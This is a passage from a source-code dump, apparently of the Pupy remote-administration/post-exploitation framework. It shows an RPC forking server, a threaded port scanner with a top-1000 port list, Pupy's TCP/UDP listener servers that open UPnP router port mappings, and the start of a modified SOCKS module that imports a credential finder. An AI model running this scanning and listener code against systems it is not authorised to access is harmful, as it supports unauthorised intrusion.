ForkingServer(Server):\n    \"\"\"\n    A server that forks a child process for each connection. Available on\n    POSIX compatible systems only.\n\n    Parameters: see :class:`Server`\n    \"\"\"\n\n    def __init__(self, *args, **kwargs):\n        if not signal:\n            raise OSError(\"ForkingServer not supported on this platform\")\n        Server.__init__(self, *args, **kwargs)\n        # setup sigchld handler\n        self._prevhandler = signal.signal(signal.SIGCHLD, self._handle_sigchld)\n\n    def close(self):\n        Server.close(self)\n        signal.signal(signal.SIGCHLD, self._prevhandler)\n\n    @classmethod\n    def _handle_sigchld(cls, signum, unused):\n        try:\n            while True:\n                pid, dummy = os.waitpid(-1, os.WNOHANG)\n                if pid <= 0:\n                    break\n        except OSError:\n            pass\n        # re-register signal handler (see man signal(2), under Portability)\n        signal.signal(signal.SIGCHLD, cls._handle_sigchld)\n\n    def _accept_method(self, sock):\n        pid = os.fork()\n        if pid == 0:\n            # child\n            try:\n                self.logger.debug(\"child process created\")\n                signal.signal(signal.SIGCHLD, self._prevhandler)\n                #76: call signal.siginterrupt(False) in forked child\n                signal.siginterrupt(signal.SIGCHLD, False)\n                self.listener.close()\n                self.clients.clear()\n                self._authenticate_and_serve_client(sock)\n            except:\n                self.logger.exception(\"child process terminated abnormally\")\n            else:\n                self.logger.debug(\"child process terminated\")\n            finally:\n                self.logger.debug(\"child terminated\")\n                os._exit(0)\n        else:\n            # parent\n            sock.close()\n"
  },
  {
    "path": "pupy/network/lib/rpc/version.py",
    "content": "from __future__ import absolute_import\nfrom __future__ import division\nfrom __future__ import print_function\nfrom __future__ import unicode_literals\nversion = (3, 4, 4)\nversion_string = \"3.4.4+\"\nrelease_date = \"2017.08.07\"\n"
  },
  {
    "path": "pupy/network/lib/scan.py",
    "content": "# -*- coding: utf-8 -*-\n\nfrom __future__ import absolute_import\nfrom __future__ import division\nfrom __future__ import print_function\nfrom __future__ import unicode_literals\n\n__all__ = ('scan', 'scanthread')\n\nimport sys\nimport socket\nimport select\nimport errno\nimport time\nimport threading\nimport random\n\nfrom netaddr import IPNetwork\nfrom pupy.network.lib.rpc import nowait\n\nfrom . import getLogger\nlogger = getLogger('scan')\n\nif sys.version_info.major > 2:\n    xrange = range\n\nTOP1000 = (\n    1,3,4,6,7,9,13,17,19,20,21,22,23,24,25,26,30,32,33,37,42,43,49,53,70,79,80,81,82,\n    83,84,85,88,89,90,99,100,106,109,110,111,113,119,125,135,139,143,144,146,161,163,\n    179,199,211,212,222,254,255,256,259,264,280,301,306,311,340,366,389,406,407,416,\n    417,425,427,443,444,458,464,465,481,497,500,512,513,514,515,524,541,543,544,545,\n    548,554,555,563,587,593,616,617,625,631,636,646,648,666,667,668,683,687,691,700,\n    705,711,714,720,722,726,749,765,777,783,787,800,801,808,843,873,880,888,898,900,\n    901,902,903,911,912,981,987,990,992,993,995,999,1000,1001,1002,1007,1009,1010,1011,1021,\n    1022,1023,1024,1025,1026,1027,1028,1029,1030,1031,1032,1033,1034,1035,1036,1037,1038,1039,1040,1041,\n    1042,1043,1044,1045,1046,1047,1048,1049,1050,1051,1052,1053,1054,1055,1056,1057,1058,1059,1060,1061,\n    1062,1063,1064,1065,1066,1067,1068,1069,1070,1071,1072,1073,1074,1075,1076,1077,1078,1079,1080,1081,\n    1082,1083,1084,1085,1086,1087,1088,1089,1090,1091,1092,1093,1094,1095,1096,1097,1098,1099,1100,1102,\n    1104,1105,1106,1107,1108,1110,1111,1112,1113,1114,1117,1119,1121,1122,1123,1124,1126,1130,1131,1132,\n    1137,1138,1141,1145,1147,1148,1149,1151,1152,1154,1163,1164,1165,1166,1169,1174,1175,1183,1185,1186,\n    1187,1192,1198,1199,1201,1213,1216,1217,1218,1233,1234,1236,1244,1247,1248,1259,1271,1272,1277,1287,\n    1296,1300,1301,1309,1310,1311,1322,1328,1334,1352,1417,1433,1434,1443,1455,1461,1494,1500,1501,1503,\n    1521,1524,1533,1556,1580,1583,1594,1600,1641,1658,1666,1687,1688,1700,1717,1718,1719,1720,1721,1723,\n    1755,1761,1782,1783,1801,1805,1812,1839,1840,1862,1863,1864,1875,1900,1914,1935,1947,1971,1972,1974,\n    1984,1998,1999,2000,2001,2002,2003,2004,2005,2006,2007,2008,2009,2010,2013,2020,2021,2022,2030,2033,\n    2034,2035,2038,2040,2041,2042,2043,2045,2046,2047,2048,2049,2065,2068,2099,2100,2103,2105,2106,2107,\n    2111,2119,2121,2126,2135,2144,2160,2161,2170,2179,2190,2191,2196,2200,2222,2251,2260,2288,2301,2323,\n    2366,2381,2382,2383,2393,2394,2399,2401,2492,2500,2522,2525,2557,2601,2602,2604,2605,2607,2608,2638,\n    2701,2702,2710,2717,2718,2725,2800,2809,2811,2869,2875,2909,2910,2920,2967,2968,2998,3000,3001,3003,\n    3005,3006,3007,3011,3013,3017,3030,3031,3052,3071,3077,3128,3168,3211,3221,3260,3261,3268,3269,3283,\n    3300,3301,3306,3322,3323,3324,3325,3333,3351,3367,3369,3370,3371,3372,3389,3390,3404,3476,3493,3517,\n    3527,3546,3551,3580,3659,3689,3690,3703,3737,3766,3784,3800,3801,3809,3814,3826,3827,3828,3851,3869,\n    3871,3878,3880,3889,3905,3914,3918,3920,3945,3971,3986,3995,3998,4000,4001,4002,4003,4004,4005,4006,\n    4045,4111,4125,4126,4129,4224,4242,4279,4321,4343,4443,4444,4445,4446,4449,4550,4567,4662,4848,4899,\n    4900,4998,5000,5001,5002,5003,5004,5009,5030,5033,5050,5051,5054,5060,5061,5080,5087,5100,5101,5102,\n    5120,5190,5200,5214,5221,5222,5225,5226,5269,5280,5298,5357,5405,5414,5431,5432,5440,5500,5510,5544,\n    5550,5555,5560,5566,5631,5633,5666,5678,5679,5718,5730,5800,5801,5802,5810,5811,5815,5822,5825,5850,\n    5859,5862,5877,5900,5901,5902,5903,5904,5906,5907,5910,5911,5915,5922,5925,5950,5952,5959,5960,5961,\n    5962,5963,5987,5988,5989,5998,5999,6000,6001,6002,6003,6004,6005,6006,6007,6009,6025,6059,6100,6101,\n    6106,6112,6123,6129,6156,6346,6389,6502,6510,6543,6547,6565,6566,6567,6580,6646,6666,6667,6668,6669,\n    6689,6692,6699,6779,6788,6789,6792,6839,6881,6901,6969,7000,7001,7002,7004,7007,7019,7025,7070,7100,\n    7103,7106,7200,7201,7402,7435,7443,7496,7512,7625,7627,7676,7741,7777,7778,7800,7911,7920,7921,7937,\n    7938,7999,8000,8001,8002,8007,8008,8009,8010,8011,8021,8022,8031,8042,8045,8080,8081,8082,8083,8084,\n    8085,8086,8087,8088,8089,8090,8093,8099,8100,8180,8181,8192,8193,8194,8200,8222,8254,8290,8291,8292,\n    8300,8333,8383,8400,8402,8443,8500,8600,8649,8651,8652,8654,8701,8800,8873,8888,8899,8994,9000,9001,\n    9002,9003,9009,9010,9011,9040,9050,9071,9080,9081,9090,9091,9099,9100,9101,9102,9103,9110,9111,9200,\n    9207,9220,9290,9415,9418,9485,9500,9502,9503,9535,9575,9593,9594,9595,9618,9666,9876,9877,9878,9898,\n    9900,9917,9929,9943,9944,9968,9998,9999,10000,10001,10002,10003,10004,10009,10010,10012,10024,10025,\n    10082,10180, 10215,10243,10566,10616,10617,10621,10626,10628,10629,10778,11110,11111,11967,12000,\n    12174,12265,12345,13456,13722\n)\n\n\ndef create_socket(host, port):\n    sock = socket.socket()\n    sock.setblocking(0)\n\n    try:\n        r = sock.connect_ex((host, int(port)))\n    except:\n        return None, None\n\n    return sock, r\n\n\ndef scan(hosts, ports, abort=None, timeout=10, portion=32, on_complete=None, on_open_port=None, pass_socket=False):\n    connectable=[]\n    targets = ((x, y) for x in hosts for y in ports)\n    sockets = {}\n    while targets or sockets:\n        free = portion - len(sockets)\n        chunk = []\n        while free and targets:\n            try:\n                chunk.append(next(targets))\n                free -= 1\n            except StopIteration:\n                targets = None\n                break\n\n        if abort and abort.is_set():\n            break\n\n        for host, port in chunk:\n            logger.debug('%s:%d - check', host, port)\n            sock, r = create_socket(host, port)\n            if sock is None:\n                continue\n\n            if r:\n                ok = [errno.EAGAIN, errno.EINPROGRESS]\n                if hasattr(errno, 'WSAEWOULDBLOCK'):\n                    ok.append(errno.WSAEWOULDBLOCK)\n\n                if r in ok:\n                    sockets[sock] = (host, port, time.time())\n                else:\n                    logger.debug('%d - N/A', port)\n                    sock.close()\n                    continue\n            else:\n                logger.debug('%s:%d - ok (fast)', host, port)\n                if on_open_port:\n                    if pass_socket:\n                        on_open_port((host, port, sock))\n                    else:\n                        on_open_port((host, port))\n\n                connectable.append((host, port))\n                if not (pass_socket and on_open_port):\n                    sock.close()\n\n        if sockets:\n            socks = list(sockets)\n            _, w, _ = select.select([], socks, [], timeout)\n\n            for sock in w:\n                try:\n                    errcode = sock.getsockopt(socket.SOL_SOCKET, socket.SO_ERROR)\n                    if errcode == 0:\n                        host, port = sockets[sock][:2]\n                        logger.debug('%s:%d - ok', host, port)\n                        if on_open_port:\n                            if pass_socket:\n                                on_open_port((host, port, sock))\n                            else:\n                                on_open_port((host, port))\n\n                        connectable.append(sockets[sock][:2])\n                except Exception as e:\n                    logger.exception('%s:%d - error - %s', host, port, e)\n                    pass\n\n                finally:\n                    if not (errcode == 0 and on_open_port and pass_socket):\n                        sock.close()\n\n                    del sockets[sock]\n\n            now = time.time()\n            for sock in socks:\n                if sock in w or sock not in sockets:\n                    continue\n\n                if now - sockets[sock][2] > timeout:\n                    logger.debug(\n                        '%s:%d - N/A (timeout)',\n                        sockets[sock][0],\n                        sockets[sock][1])\n                    sock.close()\n                    del sockets[sock]\n\n    if on_complete:\n        if not abort or (abort and not abort.is_set()):\n            on_complete(connectable)\n    else:\n        return connectable\n\n\ndef safe_scan(hosts, ports, abort=None, timeout=10, portion=32, on_complete=None, on_open_port=None, pass_socket=False, on_exception=None):\n    try:\n        return scan(\n            hosts, ports, abort, timeout, portion,\n            on_complete, on_open_port, pass_socket)\n    except Exception as e:\n        if on_exception:\n            on_exception(e)\n        elif on_complete:\n            on_complete([])\n\n\ndef scanthread(hosts, ports, on_complete, **kwargs):\n    abort = threading.Event()\n    kwargs.update({\n        'abort': abort,\n        'on_complete': nowait(on_complete)\n    })\n    scanner = threading.Thread(target=safe_scan, args=(hosts, ports), kwargs=kwargs)\n    scanner.daemon = True\n    scanner.start()\n\n    return abort\n\n\ndef scanthread_parse(hosts, ports, on_complete, **kwargs):\n    targets = []\n\n    for target in hosts.split(','):\n        if '/' in target:\n            for host in IPNetwork(target):\n                targets.append(str(host))\n        else:\n            targets.append(str(target))\n\n    ports = list({\n        p for prange in ports.split(',') for p in (\n            xrange(\n                int(prange.split('-')[0]), int(prange.split('-')[1])+1\n            ) if '-' in prange else [int(prange)]\n        )\n    })\n\n    random.shuffle(ports)\n\n    return scanthread(targets, ports, on_complete, **kwargs)\n"
  },
  {
    "path": "pupy/network/lib/servers.py",
    "content": "# -*- coding: utf-8 -*-\n# Copyright (c) 2015, Nicolas VERDIER (contact@n1nj4.eu)\n# Pupy is under the BSD 3-Clause license. see the LICENSE file at the root of the project for the detailed licence terms\n\nfrom __future__ import absolute_import\nfrom __future__ import division\nfrom __future__ import print_function\nfrom __future__ import unicode_literals\n\n__all__ = ('PupyTCPServer', 'PupyUDPServer')\n\nimport sys\nimport logging\n\nimport socket\n\nif sys.version_info.major > 2:\n    from queue import Queue, Empty\nelse:\n    from Queue import Queue, Empty\n\nfrom threading import Thread\nfrom netaddr import IPAddress, AddrFormatError\n\nfrom .streams.PupySocketStream import PupyChannel\nfrom pupy.network.lib.connection import PupyConnection, PupyConnectionThread\nfrom pupy.network.lib.rpc.utils.server import ThreadedServer, AuthenticationError\n\nfrom pupy.network.lib.igd import UPNPError\n\n\nclass PupyTCPServer(ThreadedServer):\n    def __init__(self, *args, **kwargs):\n\n        if \"stream\" not in kwargs:\n            raise ValueError(\"missing stream_class argument\")\n\n        if \"transport\" not in kwargs:\n            raise ValueError(\"missing transport argument\")\n\n        self.stream_class = kwargs[\"stream\"]\n        self.transport_class = kwargs[\"transport\"]\n        self.transport_kwargs = kwargs[\"transport_kwargs\"]\n        self.pupy_srv = kwargs[\"pupy_srv\"]\n\n        self.igd_mapping = False\n        self.igd = None\n\n        if 'igd' in kwargs:\n            self.igd = kwargs['igd']\n            self.external = kwargs.get('external', 'igd')\n            del kwargs['igd']\n        else:\n            self.external = kwargs.get('external', kwargs.get('hostname'))\n\n        if 'external' in kwargs:\n            del kwargs['external']\n\n        self.external_port = kwargs.get('external_port', kwargs.get('port'))\n        if 'external_port' in kwargs:\n            del kwargs['external_port']\n\n        if self.pupy_srv:\n            try:\n                ping = self.pupy_srv.config.get('pupyd', 'ping')\n                self.ping = ping and ping not in (\n                    '0', '-1', 'N', 'n', 'false', 'False', 'no', 'No'\n                )\n            except:\n                self.ping = False\n        else:\n            self.ping = False\n\n        if self.ping:\n            try:\n                self.ping_interval = int(ping)\n            except:\n                self.ping_interval = 2\n\n            if self.pupy_srv:\n                self.ping_timeout = self.pupy_srv.config.get(\n                    'pupyd', 'ping_interval')\n            else:\n                self.ping_timeout = self.ping_interval * 10\n        else:\n            self.ping_interval = None\n            self.ping_timeout = None\n\n        del kwargs[\"stream\"]\n        del kwargs[\"transport\"]\n        del kwargs[\"transport_kwargs\"]\n        del kwargs[\"pupy_srv\"]\n\n        try:\n            ip = IPAddress(kwargs.get('hostname', ''))\n            if ip.version == 4 and kwargs.get('ipv6', False):\n                kwargs['hostname'] = '::FFFF:' + kwargs['hostname']\n\n        except AddrFormatError:\n            pass\n\n        ThreadedServer.__init__(self, *args, **kwargs)\n\n        if self.igd and self.igd.available and self.external != self.host:\n            try:\n                self.igd.AddPortMapping(\n                    self.external_port,\n                    'TCP',\n                    self.port,\n                    intIP=self.host if self.host and self.host not in (\n                        '', 'igd'\n                    ) else None,\n                    desc='pupy'\n                )\n                self.igd_mapping = True\n            except UPNPError as e:\n                self.logger.warn(\n                    \"Couldn't create IGD mapping [TCP {} -> {}, IP={}]: {}\".format(\n                        self.external_port, self.port, self.igd.intIP, e.description))\n\n\n    def _setup_connection(self, sock, queue):\n        '''Authenticate a client and if it succeeds, wraps the socket in a connection object.\n        Note that this code is cut and paste from the rpyc internals and may have to be\n        changed if rpyc evolves'''\n        tup = sock.getpeername()\n        h, p = tup[0], tup[1] # tup can have different sizes depending on ipv4/ipv6\n\n        credentials = None\n        if self.authenticator:\n            try:\n                wrapper, credentials = self.authenticator(sock)\n            except AuthenticationError:\n                self.logger.info('%s:%s failed to authenticate, rejecting connection', h, p)\n                queue.put_nowait((None, None, None))\n                return\n        else:\n            wrapper = sock\n\n        # build a connection\n        config = dict(self.protocol_config, credentials=credentials, connid='{}:{}'.format(h, p))\n        stream = self.stream_class(wrapper, self.transport_class, self.transport_kwargs)\n        connection = None\n\n        try:\n            self.logger.debug('%s:%s Authenticated. Starting connection', h, p)\n\n            connection = PupyConnection(\n                self.pupy_srv,\n                self.service,\n                PupyChannel(stream),\n                ping=stream.KEEP_ALIVE_REQUIRED or self.ping_interval,\n                timeout=self.ping_timeout,\n                config=config\n            )\n\n            self.logger.debug('%s:%s Connection complete', h, p)\n        finally:\n            self.logger.debug('%s:%s Report connection: %s', h, p, connection)\n            queue.put_nowait((connection, wrapper, credentials))\n\n    def _authenticate_and_serve_client(self, sock):\n        queue = Queue(maxsize=1)\n\n        tup = sock.getpeername()\n        h, p = tup[0], tup[1]\n\n        authentication = Thread(\n            target=self._setup_connection,\n            args=(sock, queue),\n            name='Authentication Thread ({}:{})'.format(h, p))\n        authentication.daemon = True\n        authentication.start()\n\n        connection = None\n        wrapper = None\n\n        try:\n            self.logger.debug('%s:%s Wait for authentication result', h, p)\n            connection, wrapper, credentials = queue.get(block=True, timeout=60)\n            self.logger.debug('%s:%s Wait complete: %s', h, p, connection)\n            if connection and connection._local_root:\n                self.logger.debug('%s:%s Initializing service...', h, p)\n                connection.init()\n                connection.loop()\n\n        except Empty:\n            self.logger.debug('%s:%s Timeout', h, p)\n\n        except (EOFError, TypeError):\n            pass\n\n        finally:\n            self.logger.debug('%s:%s Shutting down', h, p)\n\n            try:\n                sock.shutdown(socket.SHUT_RDWR)\n            except Exception:\n                pass\n\n            if wrapper:\n                wrapper.close()\n\n            self.clients.discard(sock)\n\n    def close(self):\n        try:\n            ThreadedServer.close(self)\n        except:\n            pass\n\n        if self.igd_mapping:\n            try:\n                self.igd.DeletePortMapping(self.external_port, 'TCP')\n            except Exception as e:\n                self.logger.info('IGD Exception: %s/%s', type(e), e)\n\n\nclass PupyUDPServer(object):\n    REQUIRED_KWARGS = [\n        'stream', 'transport', 'transport_kwargs',\n        'pupy_srv', 'port'\n    ]\n\n    def __init__(self, service, **kwargs):\n        self.kcp = __import__('kcp')\n        self.pupy_srv = None\n        self.port = None\n        self.logger = None\n        self.stream = None\n        self.transport = None\n        self.transport_kwargs = None\n\n        for param in self.REQUIRED_KWARGS:\n            if param not in kwargs:\n                raise ValueError('missing {} argument'.format(param))\n\n            setattr(self, param, kwargs[param])\n            del kwargs[param]\n\n        if self.pupy_srv:\n            ping = self.pupy_srv.config.get('pupyd', 'ping')\n            self.ping = ping and ping not in (\n                '0', '-1', 'N', 'n', 'false', 'False', 'no', 'No'\n            )\n        else:\n            self.ping = False\n\n        if self.ping:\n            try:\n                self.ping_interval = int(ping)\n            except:\n                self.ping_interval = 2\n\n            if self.pupy_srv:\n                self.ping_timeout = self.pupy_srv.config.get('pupyd', 'ping_interval')\n            else:\n                self.ping_timeout = self.ping_interval * 10\n        else:\n            self.ping_interval = None\n            self.ping_timeout = None\n\n        self.ipv6 = kwargs.get('ipv6', False)\n\n        self.authenticator = kwargs.get('authenticator', None)\n        self.protocol_config = kwargs.get('protocol_config', {})\n        self.service = service\n\n        self.active = False\n        self.clients = {}\n        self.sock = None\n        self.host = kwargs.get('host') or kwargs.get('hostname')\n\n        self.igd_mapping = False\n        self.igd = None\n\n        if 'igd' in kwargs:\n            self.igd = kwargs['igd']\n            del kwargs['igd']\n            self.external = kwargs.get('external', 'igd')\n        else:\n            self.external = self.host\n\n        if 'external' in kwargs:\n            del kwargs['external']\n\n        self.external_port = kwargs.get('external_port', self.port)\n        if 'external_port' in kwargs:\n            del kwargs['external_port']\n\n        if self.igd and self.igd.available and self.external != self.host:\n            try:\n                self.igd.AddPortMapping(\n                    self.external_port,\n                    'UDP',\n                    self.port,\n                    intIP=self.host if self.host and self.host not in (\n                        '', 'igd'\n                    ) else None,\n                    desc='pupy'\n                )\n                self.igd_mapping = True\n            except UPNPError as e:\n                self.logger.warn(\n                    \"Couldn't create IGD mapping: %s\", e.description)\n\n        self.LONG_SLEEP_INTERRUPT_TIMEOUT = 5\n        self.listen()\n\n    @property\n    def stream_class(self):\n        return self.stream\n\n    @property\n    def transport_class(self):\n        return self.transport\n\n    def listen(self):\n        s = None\n        if not self.host:\n            self.host = None\n\n        family = socket.AF_INET6 if self.ipv6 else socket.AF_INET\n\n        last_exc = None\n\n        for res in socket.getaddrinfo(\n                self.host, self.port, family,\n                socket.SOCK_DGRAM, 0, socket.AI_PASSIVE):\n\n            af, socktype, proto, canonname, sa = res\n\n            try:\n                s = socket.socket(af, socktype, 0)\n                s.setsockopt(socket.SOL_SOCKET, socket.SO_REUSEADDR, 1)\n            except socket.error as msg:\n                s = None\n                last_exc = msg\n                continue\n\n            try:\n                s.bind(sa)\n\n            except socket.error as msg:\n                s.close()\n                s = None\n                last_exc = msg\n                continue\n\n            break\n\n        self.sock = s\n        if self.sock is None:\n            if last_exc is None:\n                raise RuntimeError('Socket creation failed for unknown reason')\n            else:\n                raise last_exc\n\n        self.sock.setblocking(0)\n        self.dispatcher = self.kcp.KCPDispatcher(\n            self.sock.fileno(), 0,\n            timeout=self.LONG_SLEEP_INTERRUPT_TIMEOUT * 1000\n        )\n\n    def on_close(self, addr):\n        self.clients[addr].wake()\n        del self.clients[addr]\n        self.dispatcher.delete(addr)\n\n    def new(self, addr, ckcp):\n        logging.info(\"new client connected: \" + addr)\n\n        host, port = addr.rsplit(':', 1)\n        port = int(port)\n\n        config = dict(\n            self.protocol_config,\n            credentials=None,\n            connid=addr\n        )\n\n        client = self.stream(\n            (\n                self.sock, (\n                    host, port\n                ),\n                ckcp,\n            ),\n            self.transport,\n            self.transport_kwargs,\n            client_side=False,\n            close_cb=self.on_close,\n            lsi=self.LONG_SLEEP_INTERRUPT_TIMEOUT\n        )\n\n        logging.debug('Request pings: %s',\n            client.KEEP_ALIVE_REQUIRED or self.ping_interval)\n\n        connthread = PupyConnectionThread(\n            self.pupy_srv,\n            self.service,\n            PupyChannel(client),\n            ping=client.KEEP_ALIVE_REQUIRED or self.ping_interval,\n            timeout=self.ping_timeout,\n            config=config\n        )\n        connthread.start()\n        return connthread.connection\n\n    def start(self):\n        self.active=True\n        try:\n            while self.active:\n                try:\n                    new, updated, failed = self.dispatcher.dispatch()\n                    for f, kcp in new:\n                        self.clients[f] = self.new(f, kcp)\n\n                    for f in updated:\n                        try:\n                            x = self.clients[f].consume()\n                        except EOFError as e:\n                            if __debug__:\n                                logging.exception('EOF (consume): %s', e)\n\n                            x = None\n\n                        if not x:\n                            failed.add(f)\n\n                    for f in failed:\n                        self.clients[f].close()\n\n                    for f in list(self.dispatcher):\n                        if f not in updated:\n                            self.clients[f].wake()\n\n                except Exception as e:\n                    logging.exception(e)\n                    raise\n\n            for f in list(self.clients):\n                self.clients[f].close()\n\n        except EOFError as e:\n            logging.error('EOF: %s', e)\n            pass # server closed by another thread\n\n        except KeyboardInterrupt:\n            logging.error('Keyboard interrupt')\n\n        except Exception as e:\n            logging.exception('Unknown exception %s: %s', type(e), e)\n\n        finally:\n            logging.info(\"server has terminated\")\n            self.close()\n\n    def close(self):\n        self.active = False\n\n        for f in list(self.clients):\n            self.clients[f].close()\n\n        if self.sock:\n            self.sock.close()\n\n        if self.igd_mapping:\n            try:\n                self.igd.DeletePortMapping(self.external_port, 'UDP')\n            except Exception as e:\n                logging.info('IGD Exception: %s/%s', type(e), e)\n"
  },
  {
    "path": "pupy/network/lib/socks.py",
    "content": "\"\"\"\nSocksiPy - Python SOCKS module.\nVersion 1.5.7\n\nCopyright 2006 Dan-Haim. All rights reserved.\n\nRedistribution and use in source and binary forms, with or without modification,\nare permitted provided that the following conditions are met:\n1. Redistributions of source code must retain the above copyright notice, this\n   list of conditions and the following disclaimer.\n2. Redistributions in binary form must reproduce the above copyright notice,\n   this list of conditions and the following disclaimer in the documentation\n   and/or other materials provided with the distribution.\n3. Neither the name of Dan Haim nor the names of his contributors may be used\n   to endorse or promote products derived from this software without specific\n   prior written permission.\n\nTHIS SOFTWARE IS PROVIDED BY DAN HAIM \"AS IS\" AND ANY EXPRESS OR IMPLIED\nWARRANTIES, INCLUDING, BUT NOT LIMITED TO, THE IMPLIED WARRANTIES OF\nMERCHANTABILITY AND FITNESS FOR A PARTICULAR PURPOSE ARE DISCLAIMED. IN NO\nEVENT SHALL DAN HAIM OR HIS CONTRIBUTORS BE LIABLE FOR ANY DIRECT, INDIRECT,\nINCIDENTAL, SPECIAL, EXEMPLARY, OR CONSEQUENTIAL DAMAGES (INCLUDING, BUT NOT\nLIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS OR SERVICES; LOSS OF USE, DATA\nOR PROFITS; OR BUSINESS INTERRUPTION) HOWEVER CAUSED AND ON ANY THEORY OF\nLIABILITY, OR TORT (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY OUT\nOF THE USE OF THIS SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF SUCH DAMANGE.\n\n\nThis module provides a standard socket-like interface for Python\nfor tunneling connections through SOCKS proxies.\n\n===============================================================================\n\nMinor modifications made by Christopher Gilbert (http://motomastyle.com/)\nfor use in PyLoris (http://pyloris.sourceforge.net/)\n\nMinor modifications made by Mario Vilas (http://breakingcode.wordpress.com/)\nmainly to merge bug fixes found in Sourceforge\n\nModifications made by Anorov (https://github.com/Anorov)\n-Forked and renamed to PySocks\n-Fixed issue with HTTP proxy failure checking (same bug that was in the old ___recvall() method)\n-Included SocksiPyHandler (sockshandler.py), to be used as a urllib2 handler,\n courtesy of e000 (https://github.com/e000): https://gist.github.com/869791#file_socksipyhandler.py\n-Re-styled code to make it readable\n    -Aliased PROXY_TYPE_SOCKS5 -> SOCKS5 etc.\n    -Improved exception handling and output\n    -Removed irritating use of sequence indexes, replaced with tuple unpacked variables\n    -Fixed up Python 3 bytestring handling - chr(0x03).encode() -> b\"\\x03\"\n    -Other general fixes\n-Added clarification that the HTTP proxy connection method only supports CONNECT-style tunneling HTTP proxies\n-Various small bug fixes\n\"\"\"\nfrom __future__ import absolute_import\nfrom __future__ import division\nfrom __future__ import print_function\nfrom __future__ import unicode_literals\n\n__all__ = (\n    'PROXY_TYPES',\n    'set_default_proxy',\n    'get_default_proxy',\n    'create_connection',\n)\n\n__version__ = \"1.5.7\"\n\nimport struct\nfrom errno import EOPNOTSUPP, EINVAL, EAGAIN\nfrom io import BytesIO\nfrom os import SEEK_CUR\n\nimport os\nimport sys\n\nfrom collections.abc import Callable\nfrom base64 import b64encode\n\ntry:\n    from http_parser.parser import HttpParser\nexcept ImportError:\n    from http_parser.pyparser import HttpParser\n\ntry:\n    from urllib_auth import (\n        AuthenticationError, Authentication\n    )\nexcept ImportError:\n    Authentication = None\n\nfrom .netcreds import find_first_cred\n\nfrom . import getLogger\n\nif os.name == 'nt':\n    try:\n        from pupy.network.lib.ntop import ensure_ntop\n        ensure_ntop()\n\n        import socket\n\n    except ImportError:\n        raise ImportError('To run PySocks under windows you need to install win_inet_pton')\nelse:\n    import socket\n\nif sys.version_info.major > 2:\n    basestring = str\n\n\nlogger = getLogger('tinyhttp')\n\nPROXY_TYPE_SOCKS4 = SOCKS4 = 1\nPROXY_TYPE_SOCKS5 = SOCKS5 = 2\nPROXY_TYPE_HTTP = HTTP = 3\n\nPROXY_TYPES = {\"SOCKS4\": SOCKS4, \"SOCKS5\": SOCKS5, \"HTTP\": HTTP}\nPRINTABLE_PROXY_TYPES = dict(zip(PROXY_TYPES.values(), PROXY_TYPES.keys()))\n\n_orgsocket = _orig_socket = socket.socket\n\nclass ProxyError(IOError):\n    \"\"\"\n    socket_err contains original socket.error exception.\n    \"\"\"\n\n    __slots__ = ('msg', 'socket_err')\n\n    def __init__(self, msg, socket_err=None):\n        self.msg = msg\n        self.socket_err = socket_err\n\n        if socket_err:\n            self.msg += \": {0}\".format(socket_err)\n\n    def __str__(self):\n        return self.msg\n\n\nclass GeneralProxyError(ProxyError):\n    pass\n\n\nclass ProxyConnectionError(ProxyError):\n    pass\n\n\nclass SOCKS5AuthError(ProxyError):\n    pass\n\n\nclass SOCKS5Error(ProxyError):\n    pass\n\n\nclass SOCKS4Error(ProxyError):\n    pass\n\n\nclass HTTPError(ProxyError):\n    pass\n\n\nclass AuthenticationRequired(ProxyError):\n    __slots__ = ('methods',)\n\n    def __init__(self, methods):\n        super(AuthenticationRequired, self).__init__(\n            'Authentication required, supported methods: {}'.format(\n                ';'.join(methods)))\n        self.methods = methods\n\n\nclass AuthenticationImpossible(EOFError):\n    pass\n\n\nSOCKS4_ERRORS = {\n    0x5B: \"Request rejected or failed\",\n    0x5C: \"Request rejected because SOCKS server cannot connect to identd on the client\",\n    0x5D: \"Request rejected because the client program and identd report different user-ids\"\n}\n\nSOCKS5_ERRORS = {\n    0x01: \"General SOCKS server failure\",\n    0x02: \"Connection not allowed by ruleset\",\n    0x03: \"Network unreachable\",\n    0x04: \"Host unreachable\",\n    0x05: \"Connection refused\",\n    0x06: \"TTL expired\",\n    0x07: \"Command not supported, or protocol error\",\n    0x08: \"Address type not supported\"\n}\n\nDEFAULT_PORTS = {\n    SOCKS4: 1080,\n    SOCKS5: 1080,\n    HTTP: 8080\n}\n\ndef set_default_proxy(proxy_type=None, addr=None, port=None, rdns=True, username=None, password=None):\n    \"\"\"\n    set_default_proxy(proxy_type, addr[, port[, rdns[, username, password]]])\n\n    Sets a default proxy which all further socksocket objects will use,\n    unless explicitly changed. All parameters are as for socket.set_proxy().\n    \"\"\"\n    socksocket.default_proxy = (proxy_type, addr, port, rdns,\n                                username.encode() if username else None,\n                                password.encode() if password else None)\n\nsetdefaultproxy = set_default_proxy\n\ndef get_default_proxy():\n    \"\"\"\n    Returns the default proxy, set by set_default_proxy.\n    \"\"\"\n    return socksocket.default_proxy\n\ngetdefaultproxy = get_default_proxy\n\ndef wrap_module(module):\n    \"\"\"\n    Attempts to replace a module's socket library with a SOCKS socket. Must set\n    a default proxy using set_default_proxy(...) first.\n    This will only work on modules that import socket directly into the namespace;\n    most of the Python Standard Library falls into this category.\n    \"\"\"\n    if socksocket.default_proxy:\n        module.socket.socket = socksocket\n    else:\n        raise GeneralProxyError(\"No default proxy specified\")\n\nwrapmodule = wrap_module\n\ndef create_connection(dest_pair, proxy_type=None, proxy_addr=None,\n                      proxy_port=None, proxy_rdns=True,\n                      proxy_username=None, proxy_password=None,\n                      timeout=None, source_address=None,\n                      socket_options=None):\n    \"\"\"create_connection(dest_pair, *[, timeout], **proxy_args) -> socket object\n\n    Like socket.create_connection(), but connects to proxy\n    before returning the socket object.\n\n    dest_pair - 2-tuple of (IP/hostname, port).\n    **proxy_args - Same args passed to socksocket.set_proxy() if present.\n    timeout - Optional socket timeout value, in seconds.\n    source_address - tuple (host, port) for the socket to bind to as its source\n    address before connecting (only for compatibility)\n    \"\"\"\n    # Remove IPv6 brackets on the remote address and proxy address.\n    remote_host, remote_port = dest_pair\n    if remote_host.startswith('['):\n        remote_host = remote_host.strip('[]')\n    if proxy_addr and proxy_addr.startswith('['):\n        proxy_addr = proxy_addr.strip('[]')\n\n    err = None\n\n    # Allow the SOCKS proxy to be on IPv4 or IPv6 addresses.\n    for r in 